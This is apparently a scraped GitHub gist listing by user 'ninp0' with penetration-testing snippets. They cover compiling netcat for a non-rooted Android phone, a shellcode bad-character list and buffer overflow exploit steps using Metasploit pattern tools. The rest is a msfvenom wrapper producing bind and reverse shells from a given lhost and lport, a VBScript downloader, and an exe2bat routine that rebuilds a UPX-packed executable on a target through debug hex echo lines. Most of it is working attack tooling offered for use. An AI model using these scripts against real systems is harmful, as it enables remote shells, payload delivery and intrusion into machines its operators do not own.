Skip to content

Instantly share code, notes, and snippets.

View ninp0's full-sized avatar

ninp0

View GitHub Profile
# Code for Teensy text to Morse is Located Here: https://github.com/ninp0/teensy_text_to_morse
$ csi
csi[v0.2.840]:001 >>> CSI::Plugins::Serial.help
USAGE:
serial_obj = CSI::Plugins::Serial.connect(
block_dev: 'optional serial block device path (defaults to /dev/ttyUSB0)',
baud: 'optional (defaults to 9600)',
data_bits: 'optional (defaults to 8)',
stop_bits: 'optional (defaults to 1)',
parity: 'optional (defaults to SerialPort::NONE)',
puts format('%0.4x', 1337)
0539
puts format('%0.4x', 1337)
00000539
@ninp0
ninp0 / compile_nc_for_stock_android.sh
Last active August 26, 2022 00:45
Compile Netcat for Stock / Non-Rooted Android Phone
#!/bin/bash --login
cd ~/Downloads && wget http://dl.google.com/android/ndk/android-ndk-r9b-linux-x86_64.tar.bz2
tar -xjvf android-ndk-r9b-linux-x86_64.tar.bz2 -C ~/Downloads
cd ~/Downloads && git clone https://android.googlesource.com/platform/external/netcat
cd ~/Downloads/netcat
export NDK=~/Downloads/android-ndk-r9b
export SYSROOT=$NDK/platforms/android-19/arch-arm
export CC="$NDK/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86_64/bin/arm-linux-androideabi-gcc --sysroot=$SYSROOT"
$CC -DANDROID -c -o atomicio.o atomicio.c -fPIE -pie
$CC -DANDROID -c -o netcat.o netcat.c -fPIE -pie
@ninp0
ninp0 / Potentially Bad Ascii Chars
Last active December 10, 2018 02:28
Potentially Bad Chars
# (Ommit \x00, \x0a, \x0d from list)
# Need to Know for Proper Shellcode
potentially_253_bad_ascii_chars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f"
"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"
1. Find Buffer Overflow Len
2. /opt/metasploiit-framework-dev/tools/exploit/pattern_create.rb -l <buffer_overflow_len>
3. Replace orig overflow contents w/ response from pattern_create.rb
4. Run debugger, find eip value within pattern generated above...then run:
5. /opt/metasploit-framework-dev/tools/exploit/pattern_offset.rb -l <buffer_overflow_len> -q <eip_value>
6. Find bad characters (e.g. \x00 \x0a \x0d etc)
7. Update malicious payload accordingly
Other misc notes:
nasm_shell
@ninp0
ninp0 / commonwealthoshells.sh
Last active November 30, 2018 17:58
Common Shells Generated w/ msfvenom
#!/bin/bash --login
msf_root='/opt/metasploit-framework-dev'
payload="${1}"
lhost="${2}"
lport="${3}"
usage() {
echo "${0} bind_win <lport>||bind_lin <lport>||rev_win <lhost> <lport>||rev_lin <lhost> <lport>||rev_win_js <lhost> <lport>||rev_lin_js <lhost> <lport>"
exit 1
}
@ninp0
ninp0 / wget.vbs
Last active October 2, 2018 16:16
'Usage: cscript wget.vbs <target_url> <filename_to_save_as>
strUrl = WScript.Arguments.Item(0)
StrFile = WScript.Arguments.Item(1)
Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0
Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0
Const HTTPREQUEST_PROXYSETTING_DIRECT = 1
Const HTTPREQUEST_PROXYSETTING_PROXY = 2
Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts
Set http = Nothing
/bin/bash --login
file_exe="${1}"
upx -9 $file_exe
wine exe2bat.exe <file.exe> <file.txt>
echo n 1.dll >123.hex
echo e 0100 >>123.hex
echo 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 >>123.hex
echo e 0180 >>123.hex
echo 50 45 00 00 4c 01 03 00 b9 8e ae 34 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 05 00 00 70 00 00 00 10 00 00 00 d0 00 00 70 4c 01 00 00 e0 00 00 00 50 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 01 00 00 10 00 00 00 00 00 00 03 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 >>123.hex
echo e 0200 >>123.hex
echo 00 50 01 00 b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00